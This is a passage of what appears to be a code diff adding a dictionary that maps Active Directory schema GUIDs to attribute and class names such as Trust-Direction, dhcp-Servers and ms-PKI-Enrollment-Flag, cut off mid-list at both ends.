"ms-DS-Applies-To-Resource-Types", + "7769fb7a-1159-4e96-9ccd-68bc487073eb": "ms-DFS-Link-v2", + "f0f8ff88-1191-11d0-a060-00aa006c33ed": "Company", + "bf9679bd-0de6-11d0-a285-00aa003049e2": "Max-Storage", + "6558b180-35da-4efe-beed-521f8f48cafb": "ms-ieee-80211-Data-Type", + "3e978926-8c01-11d0-afda-00c04fd930c9": "Operating-System-Version", + "16c3a860-1273-11d0-a060-00aa006c33ed": "Tombstone-Lifetime", + "24977c8c-c1b7-3340-b4f6-2b375eb711d7": "ms-DS-RID-Pool-Allocation-Enabled", + "7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6": "ms-DFSR-GlobalSettings", + "bf967943-0de6-11d0-a285-00aa003049e2": "Content-Indexing-Allowed", + "bf9679be-0de6-11d0-a285-00aa003049e2": "Max-Ticket-Age", + "7f73ef75-14c9-4c23-81de-dd07a06f9e8b": "ms-ieee-80211-ID", + "bf9679ee-0de6-11d0-a285-00aa003049e2": "Operator-Count", + "c1dc867c-a261-11d1-b606-0000f80367c1": "Transport-Address-Attribute", + "9709eaaf-49da-4db2-908a-0446e5eab844": "ms-DS-cloudExtensionAttribute1", + "da73a085-6e64-4d61-b064-015d04164795": "ms-DFS-Namespace-Anchor", + "4d8601ee-ac85-11d0-afe3-00c04fd930c9": "Context-Menu", + "bf9679bf-0de6-11d0-a285-00aa003049e2": "May-Contain", + "8a5c99e9-2230-46eb-b8e8-e59d712eb9ee": "ms-IIS-FTP-Dir", + "963d274d-48be-11d1-a9c3-0000f80367c1": "Option-Description", + "26d97372-6070-11d1-a9c6-0000f80367c1": "Transport-DLL-Name", + "f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5": "ms-DS-cloudExtensionAttribute2", + "1c332fe0-0c2a-4f32-afca-23c5e45a9e77": "ms-DFSR-ReplicationGroup", + "6da8a4fc-0e52-11d0-a286-00aa003049e2": "Control-Access-Rights", + "11b6cc8b-48c4-11d1-a9c3-0000f80367c1": "meetingAdvertiseScope", + "2a7827a4-1483-49a5-9d84-52e3812156b4": "ms-IIS-FTP-Root", + "19195a53-6da0-11d0-afd3-00c04fd930c9": "Options", + "26d97374-6070-11d1-a9c6-0000f80367c1": "Transport-Type", + "82f6c81a-fada-4a0d-b0f7-706d46838eb5": "ms-DS-cloudExtensionAttribute3", + "21cb8628-f3c3-4bbf-bff6-060b2d8f299a": "ms-DFS-Namespace-v2", + "bf967944-0de6-11d0-a285-00aa003049e2": "Cost", + "11b6cc83-48c4-11d1-a9c3-0000f80367c1": "meetingApplication", + "51583ce9-94fa-4b12-b990-304c35b18595": "ms-Imaging-PSP-Identifier", + "963d274e-48be-11d1-a9c3-0000f80367c1": "Options-Location", + "8fd044e3-771f-11d1-aeae-0000f80367c1": "Treat-As-Leaf", + "9cbf3437-4e6e-485b-b291-22b02554273f": "ms-DS-cloudExtensionAttribute4", + "64759b35-d3a1-42e4-b5f1-a3de162109b3": "ms-DFSR-Content", + "508ca374-a511-4e4e-9f4f-856f61a6b7e4": "Address-Book-Roots2", + "5fd42471-1262-11d0-a060-00aa006c33ed": "Country-Code", + "11b6cc92-48c4-11d1-a9c3-0000f80367c1": "meetingBandwidth", + "7b6760ae-d6ed-44a6-b6be-9de62c09ec67": "ms-Imaging-PSP-String", + "bf9679ef-0de6-11d0-a285-00aa003049e2": "Organization-Name", + "28630ebd-41d5-11d1-a9c1-0000f80367c1": "Tree-Name", + "2915e85b-e347-4852-aabb-22e5a651c864": "ms-DS-cloudExtensionAttribute5", + "4898f63d-4112-477c-8826-3ca00bd8277d": "Global-Address-List2", + "bf967945-0de6-11d0-a285-00aa003049e2": "Country-Name", + "11b6cc93-48c4-11d1-a9c3-0000f80367c1": "meetingBlob", + "35697062-1eaf-448b-ac1e-388e0be4fdee": "ms-net-ieee-80211-GP-PolicyGUID", + "bf9679f0-0de6-11d0-a285-00aa003049e2": "Organizational-Unit-Name", + "80a67e5a-9f22-11d0-afdd-00c04fd930c9": "Trust-Attributes", + "60452679-28e1-4bec-ace3-712833361456": "ms-DS-cloudExtensionAttribute6", + "4937f40d-a6dc-4d48-97ca-06e5fbfd3f16": "ms-DFSR-ContentSet", + "b1cba91a-0682-4362-a659-153e201ef069": "Template-Roots2", + "2b09958a-8931-11d1-aebc-0000f80367c1": "Create-Dialog", + "11b6cc87-48c4-11d1-a9c3-0000f80367c1": "meetingContactInfo", + "9c1495a5-4d76-468e-991e-1433b0a67855": "ms-net-ieee-80211-GP-PolicyData", + "28596019-7349-4d2f-adff-5a629961f942": "organizationalStatus", + "bf967a59-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Incoming", + "4a7c1319-e34e-40c2-9d00-60ff7890f207": "ms-DS-cloudExtensionAttribute7", + "2df90d73-009f-11d2-aa4c-00c04fd7d83a": "Create-Time-Stamp", + "11b6cc7e-48c4-11d1-a9c3-0000f80367c1": "meetingDescription", + "0f69c62e-088e-4ff5-a53a-e923cec07c0a": "ms-net-ieee-80211-GP-PolicyReserved", + "5fd424ce-1262-11d0-a060-00aa006c33ed": "Original-Display-Table", + "bf967a5f-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Outgoing", + "3cd1c514-8449-44ca-81c0-021781800d2a": "ms-DS-cloudExtensionAttribute8", + "04828aa9-6e42-4e80-b962-e2fe00754d17": "ms-DFSR-Topology", + "b8442f58-c490-4487-8a9d-d80b883271ad": "ms-DS-Claim-Type-Property-Base", + "2b09958b-8931-11d1-aebc-0000f80367c1": "Create-Wizard-Ext", + "11b6cc91-48c4-11d1-a9c3-0000f80367c1": "meetingEndTime", + "94a7b05a-b8b2-4f59-9c25-39e69baa1684": "ms-net-ieee-8023-GP-PolicyGUID", + "5fd424cf-1262-11d0-a060-00aa006c33ed": "Original-Display-Table-MSDOS", + "bf967a5c-0de6-11d0-a285-00aa003049e2": "Trust-Direction", + "0a63e12c-3040-4441-ae26-cd95af0d247e": "ms-DS-cloudExtensionAttribute9", + "bf967946-0de6-11d0-a285-00aa003049e2": "Creation-Time", + "11b6cc7c-48c4-11d1-a9c3-0000f80367c1": "meetingID", + "8398948b-7457-4d91-bd4d-8d7ed669c9f7": "ms-net-ieee-8023-GP-PolicyData", + "bf9679f1-0de6-11d0-a285-00aa003049e2": "Other-Login-Workstations", + "b000ea7a-a086-11d0-afdd-00c04fd930c9": "Trust-Parent", + "670afcb3-13bd-47fc-90b3-0a527ed81ab7": "ms-DS-cloudExtensionAttribute10", + "4229c897-c211-437c-a5ae-dbf705b696e5": "ms-DFSR-Member", + "36093235-c715-4821-ab6a-b56fb2805a58": "ms-DS-Claim-Types", + "4d8601ed-ac85-11d0-afe3-00c04fd930c9": "Creation-Wizard", + "11b6cc89-48c4-11d1-a9c3-0000f80367c1": "meetingIP", + "d3c527c7-2606-4deb-8cfd-18426feec8ce": "ms-net-ieee-8023-GP-PolicyReserved", + "0296c123-40da-11d1-a9c0-0000f80367c1": "Other-Mailbox", + "bf967a5d-0de6-11d0-a285-00aa003049e2": "Trust-Partner", + "9e9ebbc8-7da5-42a6-8925-244e12a56e24": "ms-DS-cloudExtensionAttribute11", + "7bfdcb85-4807-11d1-a9c3-0000f80367c1": "Creator", + "11b6cc8e-48c4-11d1-a9c3-0000f80367c1": "meetingIsEncrypted", + "3164c36a-ba26-468c-8bda-c1e5cc256728": "ms-PKI-Cert-Template-OID", + "bf9679f2-0de6-11d0-a285-00aa003049e2": "Other-Name", + "bf967a5e-0de6-11d0-a285-00aa003049e2": "Trust-Posix-Offset", + "3c01c43d-e10b-4fca-92b2-4cf615d5b09a": "ms-DS-cloudExtensionAttribute12", + "e58f972e-64b5-46ef-8d8b-bbc3e1897eab": "ms-DFSR-Connection", + "7a4a4584-b350-478f-acd6-b4b852d82cc0": "ms-DS-Resource-Properties", + "963d2737-48be-11d1-a9c3-0000f80367c1": "CRL-Object", + "11b6cc7f-48c4-11d1-a9c3-0000f80367c1": "meetingKeyword", + "dbd90548-aa37-4202-9966-8c537ba5ce32": "ms-PKI-Certificate-Application-Policy", + "1ea64e5d-ac0f-11d2-90df-00c04fd91ab1": "Other-Well-Known-Objects", + "bf967a60-0de6-11d0-a285-00aa003049e2": "Trust-Type", + "28be464b-ab90-4b79-a6b0-df437431d036": "ms-DS-cloudExtensionAttribute13", + "963d2731-48be-11d1-a9c3-0000f80367c1": "CRL-Partitioned-Revocation-List", + "11b6cc84-48c4-11d1-a9c3-0000f80367c1": "meetingLanguage", + "ea1dddc4-60ff-416e-8cc0-17cee534bce7": "ms-PKI-Certificate-Name-Flag", + "bf9679f3-0de6-11d0-a285-00aa003049e2": "Owner", + "bf967a61-0de6-11d0-a285-00aa003049e2": "UAS-Compat", + "cebcb6ba-6e80-4927-8560-98feca086a9f": "ms-DS-cloudExtensionAttribute14", + "7b9a2d92-b7eb-4382-9772-c3e0f9baaf94": "ms-ieee-80211-Policy", + "81a3857c-5469-4d8f-aae6-c27699762604": "ms-DS-Claim-Type", + "167757b2-47f3-11d1-a9c3-0000f80367c1": "Cross-Certificate-Pair", + "11b6cc80-48c4-11d1-a9c3-0000f80367c1": "meetingLocation", + "38942346-cc5b-424b-a7d8-6ffd12029c5f": "ms-PKI-Certificate-Policy", + "7d6c0e99-7e20-11d0-afd6-00c04fd930c9": "Package-Flags", + "0bb0fca0-1e89-429f-901a-1413894d9f59": "uid", + "aae4d537-8af0-4daa-9cc6-62eadb84ff03": "ms-DS-cloudExtensionAttribute15", + "1f0075fe-7e40-11d0-afd6-00c04fd930c9": "Curr-Machine-Id", + "11b6cc85-48c4-11d1-a9c3-0000f80367c1": "meetingMaxParticipants", + "b7ff5a38-0818-42b0-8110-d3d154c97f24": "ms-PKI-Credential-Roaming-Tokens", + "7d6c0e98-7e20-11d0-afd6-00c04fd930c9": "Package-Name", + "bf967a64-0de6-11d0-a285-00aa003049e2": "UNC-Name", + "9581215b-5196-4053-a11e-6ffcafc62c4d": "ms-DS-cloudExtensionAttribute16", + "a0ed2ac1-970c-4777-848e-ec63a0ec44fc": "ms-Imaging-PSPs", + "5b283d5e-8404-4195-9339-8450188c501a": "ms-DS-Resource-Property", + "1f0075fc-7e40-11d0-afd6-00c04fd930c9": "Current-Location", + "11b6cc7d-48c4-11d1-a9c3-0000f80367c1": "meetingName", + "d15ef7d8-f226-46db-ae79-b34e560bd12c": "ms-PKI-Enrollment-Flag", + "7d6c0e96-7e20-11d0-afd6-00c04fd930c9": "Package-Type", + "bf9679e1-0de6-11d0-a285-00aa003049e2": "Unicode-Pwd", + "3d3c6dda-6be8-4229-967e-2ff5bb93b4ce": "ms-DS-cloudExtensionAttribute17", + "963d273f-48be-11d1-a9c3-0000f80367c1": "Current-Parent-CA", + "11b6cc86-48c4-11d1-a9c3-0000f80367c1": "meetingOriginator", + "f22bd38f-a1d0-4832-8b28-0331438886a6": "ms-PKI-Enrollment-Servers", + "5245801b-ca6a-11d0-afff-0000f80367c1": "Parent-CA", + "ba0184c7-38c5-4bed-a526-75421470580c": "uniqueIdentifier", + "88e73b34-0aa6-4469-9842-6eb01b32a5b5": "ms-DS-cloudExtensionAttribute18", + "1f7c257c-b8a3-4525-82f8-11ccc7bee36e": "ms-Imaging-PostScanProcess", + "72e3d47a-b342-4d45-8f56-baff803cabf9": "ms-DS-Resource-Property-List", + "bf967947-0de6-11d0-a285-00aa003049e2": "Current-Value", + "11b6cc88-48c4-11d1-a9c3-0000f80367c1": "meetingOwner", + "e96a63f5-417f-46d3-be52-db7703c503df": "ms-PKI-Minimal-Key-Size", + "963d2733-48be-11d1-a9c3-0000f80367c1": "Parent-CA-Certificate-Chain", + "8f888726-f80a-44d7-b1ee-cb9df21392c8": "uniqueMember", + "0975fe99-9607-468a-8e18-c800d3387395": "ms-DS-cloudExtensionAttribute19", + "bf96799c-0de6-11d0-a285-00aa003049e2": "DBCS-Pwd", + "11b6cc81-48c4-11d1-a9c3-0000f80367c1": "meetingProtocol", + "8c9e1288-5028-4f4f-a704-76d026f246ef": "ms-PKI-OID-Attribute", + "2df90d74-009f-11d2-aa4c-00c04fd7d83a": "Parent-GUID", + "50950839-cc4c-4491-863a-fcf942d684b7": "unstructuredAddress", + "f5446328-8b6e-498d-95a8-211748d5acdc": "ms-DS-cloudExtensionAttribute20", + "a16f33c7-7fd6-4828-9364-435138fda08d": "ms-Print-ConnectionPolicy", + "b72f862b-bb25-4d5d-aa51-62c59bdf90ae": "ms-SPP-Activation-Objects-Container", + "bf967948-0de6-11d0-a285-00aa003049e2": "Default-Class-Store", + "11b6cc8d-48c4-11d1-a9c3-0000f80367c1": "meetingRating", + "5f49940e-a79f-4a51-bb6f-3d446a54dc6b": "ms-PKI-OID-CPS", + "28630ec0-41d5-11d1-a9c1-0000f80367c1": "Partial-Attribute-Deletion-List", + "9c8ef177-41cf-45c9-9673-7716c0c8901b": "unstructuredName", + "6b3d6fda-0893-43c4-89fb-1fb52a6616a9": "ms-DS-Issuer-Certificates", + "720bc4e2-a54a-11d0-afdf-00c04fd930c9": "Default-Group", + "11b6cc8f-48c4-11d1-a9c3-0000f80367c1": "meetingRecurrence", + "7d59a816-bb05-4a72-971f-5c1331f67559": "ms-PKI-OID-LocalizedName", + "19405b9e-3cfa-11d1-a9c0-0000f80367c1": "Partial-Attribute-Set", + "d9e18312-8939-11d1-aebc-0000f80367c1": "Upgrade-Product-Code", + "ca3286c2-1f64-4079-96bc-e62b610e730f": "ms-DS-Registration-Quota", + "37cfd85c-6719-4ad8-8f9e-8678ba627563": "ms-PKI-Enterprise-Oid", + "51a0e68c-0dc5-43ca-935d-c1c911bf2ee5": "ms-SPP-Activation-Object", + "b7b13116-b82e-11d0-afee-0000f80367c1": "Default-Hiding-Value", + "11b6cc8a-48c4-11d1-a9c3-0000f80367c1": "meetingScope", + "04c4da7a-e114-4e69-88de-e293f2d3b395": "ms-PKI-OID-User-Notice", + "07383084-91df-11d1-aebc-0000f80367c1": "Pek-Key-Change-Interval", + "032160bf-9824-11d1-aec0-0000f80367c1": "UPN-Suffixes", + "0a5caa39-05e6-49ca-b808-025b936610e7": "ms-DS-Maximum-Registration-Inactivity-Period", + "bf96799f-0de6-11d0-a285-00aa003049e2": "Default-Local-Policy-Object", + "11b6cc90-48c4-11d1-a9c3-0000f80367c1": "meetingStartTime", + "bab04ac2-0435-4709-9307-28380e7c7001": "ms-PKI-Private-Key-Flag", + "07383083-91df-11d1-aebc-0000f80367c1": "Pek-List", + "bf967a68-0de6-11d0-a285-00aa003049e2": "User-Account-Control", + "e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762": "ms-DS-Device-Location", + "26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb": "ms-PKI-Key-Recovery-Agent", + "e027a8bd-6456-45de-90a3-38593877ee74": "ms-TPM-Information-Objects-Container", + "26d97367-6070-11d1-a9c6-0000f80367c1": "Default-Object-Category", + "11b6cc82-48c4-11d1-a9c3-0000f80367c1": "meetingType", + "0cd8711f-0afc-4926-a4b1-09b08d3d436c": "ms-PKI-Site-Name", + "963d273c-48be-11d1-a9c3-0000f80367c1": "Pending-CA-Certificates", + "bf967a69-0de6-11d0-a285-00aa003049e2": "User-Cert", + "617626e9-01eb-42cf-991f-ce617982237e": "ms-DS-Registered-Owner", + "281416c8-1968-11d0-a28f-00aa003049e2": "Default-Priority", + "11b6cc8c-48c4-11d1-a9c3-0000f80367c1": "meetingURL", + "9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7": "ms-PKI-Supersede-Templates", + "963d273e-48be-11d1-a9c3-0000f80367c1": "Pending-Parent-CA", + "bf967a6a-0de6-11d0-a285-00aa003049e2": "User-Comment", + "0449160c-5a8e-4fc8-b052-01c0f6e48f02": "ms-DS-Registered-Users", + "05f6c878-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLServer", + "85045b6a-47a6-4243-a7cc-6890701f662c": "ms-TPM-Information-Object", + "807a6d30-1669-11d0-a064-00aa006c33ed": "Default-Security-Descriptor", + "bf9679c0-0de6-11d0-a285-00aa003049e2": "Member", + "13f5236c-1884-46b1-b5d0-484e38990d58": "ms-PKI-Template-Minor-Revision", + "5fd424d3-1262-11d0-a060-00aa006c33ed": "Per-Msg-Dialog-Display-Table", + "bf967a6d-0de6-11d0-a285-00aa003049e2": "User-Parameters", + "a34f983b-84c6-4f0c-9050-a3a14a1d35a4": "ms-DS-Approximate-Last-Logon-Time-Stamp", + "167757b5-47f3-11d1-a9c3-0000f80367c1": "Delta-Revocation-List", + "0296c122-40da-11d1-a9c0-0000f80367c1": "MHS-OR-Address", + "0c15e9f5-491d-4594-918f-32813a091da9": "ms-PKI-Template-Schema-Version", + "5fd424d4-1262-11d0-a060-00aa006c33ed": "Per-Recip-Dialog-Display-Table", + "bf967a6e-0de6-11d0-a285-00aa003049e2": "User-Password", + "22a95c0e-1f83-4c82-94ce-bea688cfc871": "ms-DS-Is-Enabled", + "0c7e18ea-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPServer", + "ef2fc3ed-6e18-415b-99e4-3114a8cb124b": "ms-DNS-Server-Settings", + "bf96794f-0de6-11d0-a285-00aa003049e2": "Department", + "bf9679c2-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Age", + "3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a": "ms-PKI-RA-Application-Policies", + "16775858-47f3-11d1-a9c3-0000f80367c1": "Personal-Title", + "11732a8a-e14d-4cc5-b92f-d93f51c6d8e4": "userClass", + "100e454d-f3bb-4dcb-845f-8d5edc471c59": "ms-DS-Device-OS-Type", + "be9ef6ee-cbc7-4f22-b27b-96967e7ee585": "departmentNumber", + "bf9679c3-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Length", + "d546ae22-0951-4d47-817e-1c9f96faad46": "ms-PKI-RA-Policies", + "0296c11d-40da-11d1-a9c0-0000f80367c1": "Phone-Fax-Other", + "23998ab5-70f8-4007-a4c1-a84a38311f9a": "userPKCS12", + "70fb8c63-5fab-4504-ab9d-14b329a8a7f8": "ms-DS-Device-OS-Version", + "11d43c5c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLRepository", + "555c21c3-a136-455a-9397-796bbd358e25": "ms-Authz-Central-Access-Policies", + "bf967950-0de6-11d0-a285-00aa003049e2": "Description", + "bf9679c4-0de6-11d0-a285-00aa003049e2": "Min-Ticket-Age", + "fe17e04b-937d-4f7e-8e0e-9292c8d5683e": "ms-PKI-RA-Signature", + "f0f8ffa2-1191-11d0-a060-00aa006c33ed": "Phone-Home-Other", + "28630ebb-41d5-11d1-a9c1-0000f80367c1": "User-Principal-Name", + "90615414-a2a0-4447-a993-53409599b74e": "ms-DS-Device-Physical-IDs", + "eea65906-8ac6-11d0-afda-00c04fd930c9": "Desktop-Profile", + "bf9679c5-0de6-11d0-a285-00aa003049e2": "Modified-Count", + "6617e4ac-a2f1-43ab-b60c-11fbd1facf05": "ms-PKI-RoamingTimeStamp", + "f0f8ffa1-1191-11d0-a060-00aa006c33ed": "Phone-Home-Primary", + "9a9a021f-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder", + "c30181c7-6342-41fb-b279-f7c566cbe0a7": "ms-DS-Device-ID", + "17c2f64e-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLPublication", + "99bb1b7a-606d-4f8b-800e-e15be554ca8d": "ms-Authz-Central-Access-Rules", + "974c9a02-33fc-11d3-aa6e-00c04f8eedd8": "msExch-Proxy-Gen-Options", + "bf967951-0de6-11d0-a285-00aa003049e2": "Destination-Indicator", + "bf9679c6-0de6-11d0-a285-00aa003049e2": "Modified-Count-At-Last-Prom", + "b3f93023-9239-4f7c-b99c-6745d87adbc2": "ms-PKI-DPAPIMasterKeys", + "4d146e4b-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Other", + "9a9a0220-4a5b-11d1-a9c3-0000f80367c1": "User-Shared-Folder-Other", + "ef65695a-f179-4e6a-93de-b01e06681cfb": "ms-DS-Device-Object-Version", + "963d2750-48be-11d1-a9c3-0000f80367c1": "dhcp-Classes", + "9a7ad94a-ca53-11d1-bbd0-0080c76670c0": "Modify-Time-Stamp", + "b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7": "ms-PKI-AccountCredentials", + "4d146e4a-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Primary", + "e16a9db2-403c-11d1-a9c0-0000f80367c1": "User-SMIME-Certificate", + "862166b6-c941-4727-9565-48bfff2941de": "ms-DS-Is-Member-Of-DL-Transitive", + "1d08694a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-SQLDatabase", + "5b4a06dc-251c-4edb-8813-0bdd71327226": "ms-Authz-Central-Access-Rule", + "963d2741-48be-11d1-a9c3-0000f80367c1": "dhcp-Flags", + "bf9679c7-0de6-11d0-a285-00aa003049e2": "Moniker", + "f39b98ad-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Attribute", + "0296c11f-40da-11d1-a9c0-0000f80367c1": "Phone-ISDN-Primary", + "bf9679d7-0de6-11d0-a285-00aa003049e2": "User-Workstations", + "e215395b-9104-44d9-b894-399ec9e21dfc": "ms-DS-Member-Transitive", + "963d2742-48be-11d1-a9c3-0000f80367c1": "dhcp-Identification", + "bf9679c8-0de6-11d0-a285-00aa003049e2": "Moniker-Display-Name", + "f39b98ac-938d-11d1-aebd-0000f80367c1": "ms-RRAS-Vendor-Attribute-Entry", + "0296c11e-40da-11d1-a9c0-0000f80367c1": "Phone-Mobile-Other", + "bf967a6f-0de6-11d0-a285-00aa003049e2": "USN-Changed", + "b918fe7d-971a-f404-9e21-9261abec970b": "ms-DS-Parent-Dist-Name", + "20af031a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-OLAPDatabase", + "a5679cb0-6f9d-432c-8b75-1e3e834f02aa": "ms-Authz-Central-Access-Policy", + "963d2747-48be-11d1-a9c3-0000f80367c1": "dhcp-Mask", + "1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1": "Move-Tree-State", + "a6f24a23-d65c-4d65-a64f-35fb6873c2b9": "ms-RADIUS-FramedInterfaceId", + "f0f8ffa3-1191-11d0-a060-00aa006c33ed": "Phone-Mobile-Primary", + "bf967a70-0de6-11d0-a285-00aa003049e2": "USN-Created", + "1e02d2ef-44ad-46b2-a67d-9fd18d780bca": "ms-DS-Repl-Value-Meta-Data-Ext", + "963d2754-48be-11d1-a9c3-0000f80367c1": "dhcp-MaxKey", + "998b10f7-aa1a-4364-b867-753d197fe670": "ms-COM-DefaultPartitionLink", + "a4da7289-92a3-42e5-b6b6-dad16d280ac9": "ms-RADIUS-SavedFramedInterfaceId", + "f0f8ffa5-1191-11d0-a060-00aa006c33ed": "Phone-Office-Other", + "bf967a71-0de6-11d0-a285-00aa003049e2": "USN-DSA-Last-Obj-Removed", + "6055f766-202e-49cd-a8be-e52bb159edfb": "ms-DS-Drs-Farm-ID", + "09f0506a-cd28-11d2-9993-0000f87a57d4": "MS-SQL-OLAPCube", + "5ef243a8-2a25-45a6-8b73-08a71ae677ce": "ms-Kds-Prov-ServerConfiguration", + "963d2744-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Description", + "430f678b-889f-41f2-9843-203b5a65572f": "ms-COM-ObjectId", + "f63ed610-d67c-494d-87be-cd1e24359a38": "ms-RADIUS-FramedIpv6Prefix", + "f0f8ffa4-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Other", + "a8df7498-c5ea-11d1-bbcb-0080c76670c0": "USN-Intersite", + "b5f1edfe-b4d2-4076-ab0f-6148342b0bf6": "ms-DS-Issuer-Public-Certificates", + "963d2743-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Name", + "09abac62-043f-4702-ac2b-6ca15eee5754": "ms-COM-PartitionLink", + "0965a062-b1e1-403b-b48d-5c0eb0e952cc": "ms-RADIUS-SavedFramedIpv6Prefix", + "f0f8ffa6-1191-11d0-a060-00aa006c33ed": "Phone-Pager-Primary", + "bf967a73-0de6-11d0-a285-00aa003049e2": "USN-Last-Obj-Rem", + "60686ace-6c27-43de-a4e5-f00c2f8d3309": "ms-DS-IsManaged", + "ca7b9735-4b2a-4e49-89c3-99025334dc94": "ms-TAPI-Rt-Conference", + "aa02fd41-17e0-4f18-8687-b2239649736b": "ms-Kds-Prov-RootKey", + "963d274f-48be-11d1-a9c3-0000f80367c1": "dhcp-Options", + "67f121dc-7d02-4c7d-82f5-9ad4c950ac34": "ms-COM-PartitionSetLink", + "5a5aa804-3083-4863-94e5-018a79a22ec0": "ms-RADIUS-FramedIpv6Route", + "9c979768-ba1a-4c08-9632-c6a5c1ed649a": "photo", + "167758ad-47f3-11d1-a9c3-0000f80367c1": "USN-Source", + "5315ba8e-958f-4b52-bd38-1349a304dd63": "ms-DS-Cloud-IsManaged", + "963d2753-48be-11d1-a9c3-0000f80367c1": "dhcp-Properties", + "9e6f3a4d-242c-4f37-b068-36b57f9fc852": "ms-COM-UserLink", + "9666bb5c-df9d-4d41-b437-2eec7e27c9b3": "ms-RADIUS-SavedFramedIpv6Route", + "bf9679f7-0de6-11d0-a285-00aa003049e2": "Physical-Delivery-Office-Name", + "4d2fa380-7f54-11d2-992a-0000f87a57d4": "Valid-Accesses", + "78565e80-03d4-4fe3-afac-8c3bca2f3653": "ms-DS-Cloud-Anchor", + "53ea1cb5-b704-4df9-818f-5cb4ec86cac1": "ms-TAPI-Rt-Person", + "7b8b558a-93a5-4af7-adca-c017e67f1057": "ms-DS-Group-Managed-Service-Account", + "963d2748-48be-11d1-a9c3-0000f80367c1": "dhcp-Ranges", + "8e940c8a-e477-4367-b08d-ff2ff942dcd7": "ms-COM-UserPartitionSetLink", + "3532dfd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Name", + "b7b13119-b82e-11d0-afee-0000f80367c1": "Physical-Location-Object", + "281416df-1968-11d0-a28f-00aa003049e2": "Vendor", + "a1e8b54f-4bd6-4fd2-98e2-bcee92a55497": "ms-DS-Cloud-Issuer-Public-Certificates", + "963d274a-48be-11d1-a9c3-0000f80367c1": "dhcp-Reservations", + "e85e1204-3434-41ad-9b56-e2901228fff0": "MS-DRM-Identity-Certificate", + "48fd44ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-RegisteredOwner", + "8d3bca50-1d7e-11d0-a081-00aa006c33ed": "Picture", + "bf967a76-0de6-11d0-a285-00aa003049e2": "Version-Number", + "89848328-7c4e-4f6f-a013-28ce3ad282dc": "ms-DS-Cloud-IsEnabled", + "50ca5d7d-5c8b-4ef3-b9df-5b66d491e526": "ms-WMI-IntRangeParam", + "e3c27fdf-b01d-4f4e-87e7-056eef0eb922": "ms-DS-Value-Type", + "963d2745-48be-11d1-a9c3-0000f80367c1": "dhcp-Servers", + "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "ms-DS-Additional-Dns-Host-Name", + "4f6cbdd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Contact", + "fc5a9106-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Critical-Extensions", + "7d6c0e9a-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Hi", + "b7acc3d2-2a74-4fa4-ac25-e63fe8b61218": "ms-DS-SyncServerUrl", + "963d2749-48be-11d1-a9c3-0000f80367c1": "dhcp-Sites", + "975571df-a4d5-429a-9f59-cdc6581d91e6": "ms-DS-Additional-Sam-Account-Name", + "561c9644-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Location", + "1ef6336e-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Default-CSPs", + "7d6c0e9b-7e20-11d0-afd6-00c04fd930c9": "Version-Number-Lo", + "de0caa7f-724e-4286-b179-192671efc664": "ms-DS-User-Allowed-To-Authenticate-To", + "292f0d9a-cf76-42b0-841f-b650f331df62": "ms-WMI-IntSetParam", + "2eeb62b3-1373-fe45-8101-387f1676edc7": "ms-DS-Claims-Transformation-Policy-Type", + "963d2752-48be-11d1-a9c3-0000f80367c1": "dhcp-State", + "d3aa4a5c-4e03-4810-97aa-2b339e7a434b": "MS-DS-All-Users-Trust-Quota", + "5b5d448c-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Memory", + "426cae6e-3b9d-11d2-90cc-00c04fd91ab1": "PKI-Default-Key-Spec", + "1f0075fd-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-GUID", + "2c4c9600-b0e1-447d-8dda-74902257bdb5": "ms-DS-User-Allowed-To-Authenticate-From", + "963d2746-48be-11d1-a9c3-0000f80367c1": "dhcp-Subnets", + "8469441b-9ac4-4e45-8205-bd219dbf672d": "ms-DS-Allowed-DNS-Suffixes", + "603e94c4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Build", + "926be278-56f9-11d2-90d0-00c04fd91ab1": "PKI-Enrollment-Access", + "1f0075fb-7e40-11d0-afd6-00c04fd930c9": "Vol-Table-Idx-GUID", + "8521c983-f599-420f-b9ab-b1222bdf95c1": "ms-DS-User-TGT-Lifetime", + "07502414-fdca-4851-b04a-13645b11d226": "ms-WMI-MergeablePolicyTemplate", + "c8fca9b1-7d88-bb4f-827a-448927710762": "ms-DS-Claims-Transformation-Policies", + "963d273b-48be-11d1-a9c3-0000f80367c1": "dhcp-Type", + "800d94d7-b7a1-42a1-b14d-7cae1423d07f": "ms-DS-Allowed-To-Delegate-To", + "64933a3e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ServiceAccount", + "041570d2-3b9e-11d2-90cc-00c04fd91ab1": "PKI-Expiration-Period", + "34aaa217-b699-11d0-afee-0000f80367c1": "Volume-Count", + "105babe9-077e-4793-b974-ef0410b62573": "ms-DS-Computer-Allowed-To-Authenticate-To", + "963d273a-48be-11d1-a9c3-0000f80367c1": "dhcp-Unique-Key", + 